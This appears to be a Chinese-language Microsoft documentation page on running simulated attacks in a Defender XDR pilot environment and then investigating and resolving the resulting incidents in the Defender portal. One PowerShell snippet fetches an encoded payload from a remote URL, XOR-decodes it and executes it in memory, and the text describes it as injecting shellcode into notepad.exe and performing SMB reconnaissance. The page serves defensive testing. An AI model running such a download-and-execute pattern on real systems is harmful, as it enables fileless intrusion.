在Microsoft Defender XDR试点环境中运行攻击模拟

本文是使用试点环境对Microsoft Defender XDR中的事件进行调查和响应过程中的第 1 步(第 2 步)。 有关此过程的详细信息,请参阅 概述 文章。

准备试点环境后,可以测试Microsoft Defender XDR的事件响应以及自动调查和修正功能,方法是创建具有模拟攻击的事件,并使用Microsoft Defender门户进行调查和响应。

Microsoft Defender XDR中的事件是构成攻击故事的相关警报和相关数据的集合。

Microsoft 365 服务和应用将在检测到可疑或恶意事件或活动时创建警报。 单个警报可提供有关已完成或持续攻击的有价值的线索。 但是,攻击通常对不同类型的实体(如设备、用户和邮箱)使用多种技术。 结果是租户中的多个实体将收到多个警报。

注意

如果不熟悉安全分析和事件响应,请参阅 响应第一个事件演练 ,获取典型分析、修正和事件后评审过程的引导式教程。

使用Microsoft Defender门户模拟攻击

Microsoft Defender门户具有内置功能,用于在试点环境中创建模拟攻击:

Defender for Office 365 攻击模拟训练

Microsoft 365 E5或Microsoft Defender for Office 365计划 2 的Defender for Office 365包括针对钓鱼攻击的攻击模拟培训。 基本步骤包括:

  1. Create模拟

    有关如何创建和启动新模拟的分步说明,请参阅 模拟钓鱼攻击

  2. Create有效负载

    有关如何创建在模拟中使用的有效负载的分步说明,请参阅为攻击模拟训练Create自定义有效负载

  3. 获取见解

    有关如何通过报告获取见解的分步说明,请参阅 通过攻击模拟训练获取见解

有关详细信息,请参阅 模拟

& 模拟的 Defender for Endpoint 攻击教程

下面是 Microsoft 提供的 Defender for Endpoint 模拟:

  • 文档删除后门
  • 自动调查 (后门)

还有来自第三方来源的其他模拟。 还有一组教程。

对于每个模拟或教程:

  1. 下载并阅读提供的相应演练文档。

  2. 下载模拟文件。 可以选择在测试设备上下载文件或脚本,但这不是必需的。

  3. 按照演练文档中的指示,在测试设备上运行模拟文件或脚本。

有关详细信息,请参阅通过模拟攻击Microsoft Defender for Endpoint体验

使用隔离的域控制器和客户端设备模拟攻击 (可选)

在此可选事件响应练习中,你将使用 PowerShell 脚本模拟对独立Active Directory 域服务 (AD DS) 域控制器和 Windows 设备的攻击,然后调查、修正和解决事件。

首先,需要向试点环境添加终结点。

添加试点环境终结点

首先,需要将隔离的 AD DS 域控制器和 Windows 设备添加到试点环境。

  1. 验证试点环境租户是否已启用Microsoft Defender XDR

  2. 验证域控制器:

  3. 验证测试设备:

如果使用租户和设备组,请为测试设备创建专用设备组,并将其推送到顶层。

一种替代方法是在 Microsoft Azure 基础结构服务中将 AD DS 域控制器和测试设备作为虚拟机进行托管。 可以使用 模拟企业测试实验室指南第 1 阶段中的说明,但跳过 APP1 虚拟机的创建。

下面是结果。

使用模拟企业测试实验室指南的评估环境

你将模拟利用高级技术隐藏检测的复杂攻击。 攻击枚举在域控制器上打开的服务器消息块 (SMB) 会话,并检索用户设备的最新 IP 地址。 此类攻击通常不包括在受害者设备上丢弃的文件,它们仅发生在内存中。 他们通过使用现有的系统和管理工具“生活在土地上”,并将代码注入系统进程以隐藏其执行。 此类行为允许他们在设备上逃避检测并持久保存。

在此模拟中,我们的示例方案从 PowerShell 脚本开始。 在现实世界中,用户可能被诱骗运行脚本,或者该脚本可能从远程连接运行到以前受感染设备的另一台计算机,这表明攻击者正在尝试在网络中横向移动。 检测这些脚本可能很困难,因为管理员还经常远程运行脚本来执行各种管理活动。

使用进程注入和 SMB 侦查攻击的无文件 PowerShell 攻击

在模拟过程中,攻击会将 shellcode 注入一个看似无辜的过程。 此方案需要使用 notepad.exe。 我们选择了此过程进行模拟,但攻击者更可能针对长时间运行的系统进程,例如 svchost.exe。 然后,shellcode 继续联系攻击者的命令和控制 (C2) 服务器,以接收有关如何继续操作的说明。 该脚本尝试对域控制器执行侦查查询, (DC) 。 侦查允许攻击者获取有关最近用户登录信息的信息。 攻击者获得此信息后,即可在网络中横向移动,以访问特定的敏感帐户

重要

为了获得最佳结果,请尽可能严格按照攻击模拟说明进行操作。

运行隔离的 AD DS 域控制器攻击模拟

运行攻击方案模拟:

  1. 确保试点环境包括独立的 AD DS 域控制器和 Windows 设备。

  2. 使用测试用户帐户登录到测试设备。

  3. 在测试设备上打开Windows PowerShell窗口。

  4. 复制以下模拟脚本:

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    ;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');
    $base64String = (Invoke-WebRequest -URI "https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0;
    $decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i];
    $i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes))
    

    注意

    如果在 Web 浏览器上打开本文,在复制全文时可能会遇到问题,而不会丢失某些字符或引入额外的换行符。 如果是这种情况,请下载此文档并在 Adobe Reader 上打开它。

  5. 在 PowerShell 窗口中粘贴并运行复制的脚本。

注意

如果使用远程桌面协议 (RDP) 运行 PowerShell,请在 RDP 客户端中使用“键入剪贴板文本”命令,因为 CTRL-V 热键或右键单击粘贴方法可能不起作用。 最新版本的 PowerShell 有时也不会接受该方法,可能需要先复制到内存中的记事本,将其复制到虚拟机中,然后将其粘贴到 PowerShell 中。

几秒钟后,记事本应用将打开。 模拟攻击代码将注入记事本。 使自动生成的记事本实例保持打开状态,以体验整个方案。

模拟攻击代码将尝试与外部 IP 地址通信, (模拟 C2 服务器) 然后尝试通过 SMB 对域控制器进行侦察。

当此脚本完成时,你将在 PowerShell 控制台上看到此消息:

ran NetSessionEnum against [DC Name] with return code result 0

若要查看自动事件和响应功能的操作,请保持 notepad.exe 进程处于打开状态。 你将看到自动事件和响应停止记事本进程。

调查模拟攻击的事件

注意

在引导你完成此模拟之前,请watch以下视频,了解事件管理如何帮助你在调查过程中将相关警报组合在一起,可在门户中找到它,以及它如何帮助你执行安全操作:

切换到 SOC 分析师视角后,现在可以开始在 Microsoft Defender 门户中调查攻击。

  1. 打开Microsoft Defender门户

  2. 在导航窗格中,选择“ 事件 & 警报 > 事件”。

  3. 模拟攻击的新事件将显示在事件队列中。

    事件队列的示例

以单个事件的形式调查攻击

Microsoft Defender XDR将分析关联起来,并将不同产品的所有相关警报和调查聚合到一个事件实体中。 通过这样做,Microsoft Defender XDR展示了更广泛的攻击故事,使 SOC 分析师能够了解和响应复杂的威胁。

在此模拟期间生成的警报与相同的威胁相关联,因此,会自动聚合为单个事件。

查看事件:

  1. 打开Microsoft Defender门户

  2. 在导航窗格中,选择“ 事件 & 警报 > 事件”。

  3. 单击事件名称左侧的圆圈,选择最新项。 侧面板显示有关事件的其他信息,包括所有相关警报。 每个事件都有一个唯一的名称,该名称基于它包含的警报的属性对其进行描述。

    可以根据服务资源筛选仪表板中显示的警报:Microsoft Defender for Identity、Microsoft Defender for Cloud Apps、Microsoft Defender for Endpoint、Microsoft Defender XDR和Microsoft Defender for Office 365。

  4. 选择“ 打开事件页” 以获取有关事件的详细信息。

    “事件 ”页中,可以看到与事件相关的所有警报和信息。 该信息包括警报中涉及的实体和资产、警报 (的检测源(例如Microsoft Defender for Identity或Microsoft Defender for Endpoint) ),以及它们链接在一起的原因。 查看事件警报列表会显示攻击的进度。 在此视图中,可以查看和调查各个警报。

    还可以单击右侧菜单中的“ 管理事件 ”,标记事件,将其分配给自己,并添加注释。

查看生成的警报

让我们看看模拟攻击期间生成的一些警报。

注意

我们将仅演练模拟攻击期间生成的一些警报。 根据测试设备上运行的 Windows 版本和Microsoft Defender XDR产品,你可能会看到更多以略有不同的顺序显示的警报。

生成的警报的示例

警报:观察到可疑的进程注入 (源:Microsoft Defender for Endpoint)

高级攻击者使用复杂而隐秘的方法在内存中保留并隐藏检测工具。 一种常见方法是从受信任的系统进程(而不是恶意可执行文件)中操作,这使得检测工具和安全操作很难发现恶意代码。

为了让 SOC 分析师能够捕获这些高级攻击,Microsoft Defender for Endpoint中的深度内存传感器为我们的云服务提供了前所未有的各种跨进程代码注入技术可见性。 下图显示了 Defender for Endpoint 如何检测到尝试将代码注入 到notepad.exe并发出警报。

用于注入潜在恶意代码的警报示例

警报:没有命令行参数 (进程运行观察到意外行为来源:Microsoft Defender for Endpoint)

Microsoft Defender for Endpoint检测通常针对攻击技术最常见的属性。 此方法可确保持久性,并提升攻击者切换到新策略的条形。

我们采用大规模学习算法来建立组织和全球通用流程的正常行为,并watch这些流程何时显示异常行为。 这些异常行为通常表示已引入无关代码,并在其他受信任的进程中运行。

对于此方案,进程 notepad.exe 表现出异常行为,涉及与外部位置的通信。 此结果与用于引入和执行恶意代码的特定方法无关。

注意

由于此警报基于需要其他后端处理的机器学习模型,因此可能需要一段时间才能在门户中看到此警报。

请注意,警报详细信息包括外部 IP 地址,这是一个指示符,可用于展开调查。

在警报进程树中选择 IP 地址以查看 IP 地址详细信息页。

不带命令行参数的进程运行的意外行为示例

下图显示选择的 IP 地址详细信息页, (单击警报进程树中的 IP 地址) 。

IP 地址详细信息页的示例

警报:用户和 IP 地址侦查 (SMB) (来源:Microsoft Defender for Identity)

使用服务器消息块 (SMB) 协议进行枚举,攻击者能够获取最近的用户登录信息,从而帮助他们横向通过网络来访问特定的敏感帐户。

在此检测中,当针对域控制器运行 SMB 会话枚举时,会触发警报。

用户和 IP 地址侦查Microsoft Defender for Identity警报示例

使用 Microsoft Defender for Endpoint 查看设备时间线

浏览此事件中的各种警报后,请导航回之前调查的事件页。 选择事件页中的“设备”选项卡,查看Microsoft Defender for Endpoint和Microsoft Defender for Identity报告的此事件所涉及的设备。

选择进行攻击的设备的名称,打开该特定设备的实体页。 在该页中,可以看到已触发的警报和相关事件。

选择“时间线”选项卡,打开设备时间线并按时间顺序查看设备上观察到的所有事件和行为,并穿插在引发的警报中。

具有行为的设备时间线示例

展开一些更有趣的行为可提供有用的详细信息,例如进程树。

例如,向下滚动,直到发现观察到 可疑进程注入的警报事件。 选择 注入到 notepad.exe 进程 事件下的powershell.exe,以在侧窗格的“ 事件实体 ”图下显示此行为的完整进程树。 如有必要,请使用搜索栏进行筛选。

所选 PowerShell 文件创建行为的进程树示例

使用 Microsoft Defender for Cloud Apps 查看用户信息

在事件页上,选择“ 用户 ”选项卡以显示参与攻击的用户列表。 该表包含有关每个用户的其他信息,包括每个用户的调查 优先级 分数。

选择用户名以打开用户个人资料页,可在其中进行进一步调查。 详细了解如何调查有风险的用户

Defender for Cloud Apps 用户页

自动调查和修复

注意

在引导你完成此模拟之前,watch以下视频,以熟悉什么是自动自我修复、在门户中查找它的位置,以及它如何帮助你执行安全操作:

在Microsoft Defender门户中导航回事件。 “事件”页中的“调查”选项卡显示Microsoft Defender for Identity和Microsoft Defender for Endpoint触发的自动调查。 下面的屏幕截图仅显示 Defender for Endpoint 触发的自动调查。 默认情况下,Defender for Endpoint 会自动修正在队列中找到的项目,这需要修正。

与事件相关的自动调查示例

选择触发调查的警报,打开“ 调查详细信息 ”页。 你将看到以下详细信息:

  • 触发自动调查的警报 () 。
  • 受影响的用户和设备。 如果在其他设备上找到指示器,也会列出这些附加设备。
  • 证据列表。 找到并分析的实体,例如文件、进程、服务、驱动程序和网络地址。 将分析这些实体与警报的可能关系,并将其评级为良性或恶意。
  • 发现的威胁。 在调查期间发现的已知威胁。

注意

根据时间,自动调查可能仍在运行。 请等待几分钟,该过程完成,然后收集和分析证据并查看结果。 刷新 “调查详细信息 ”页以获取最新发现。

“调查详细信息”页的示例

在自动调查期间,Microsoft Defender for Endpoint确定了 notepad.exe 过程,该进程作为需要修正的项目之一注入。 Defender for Endpoint 会自动停止可疑进程注入,作为自动修正的一部分。

可以看到 notepad.exe 从测试设备上正在运行的进程列表中消失。

解决事件

调查完成并确认得到修正后,可以解决事件。

“事件 ”页中,选择“ 管理事件”。 将状态设置为“解决事件”,并为确定的分类和安全测试选择“True 警报”。

事件页面的示例,其中包含打开的“管理事件”面板,可在其中单击开关来解决事件

事件解决后,它会解决Microsoft Defender门户和相关门户中的所有关联警报。

这总结了用于事件分析、自动调查和事件解决的攻击模拟。

后续步骤

Microsoft Defender XDR事件响应功能

步骤 2/2:尝试Microsoft Defender XDR事件响应功能

Create Microsoft Defender XDR评估环境

提示

想要了解更多信息? Engage技术社区中的 Microsoft 安全社区:Microsoft Defender XDR技术社区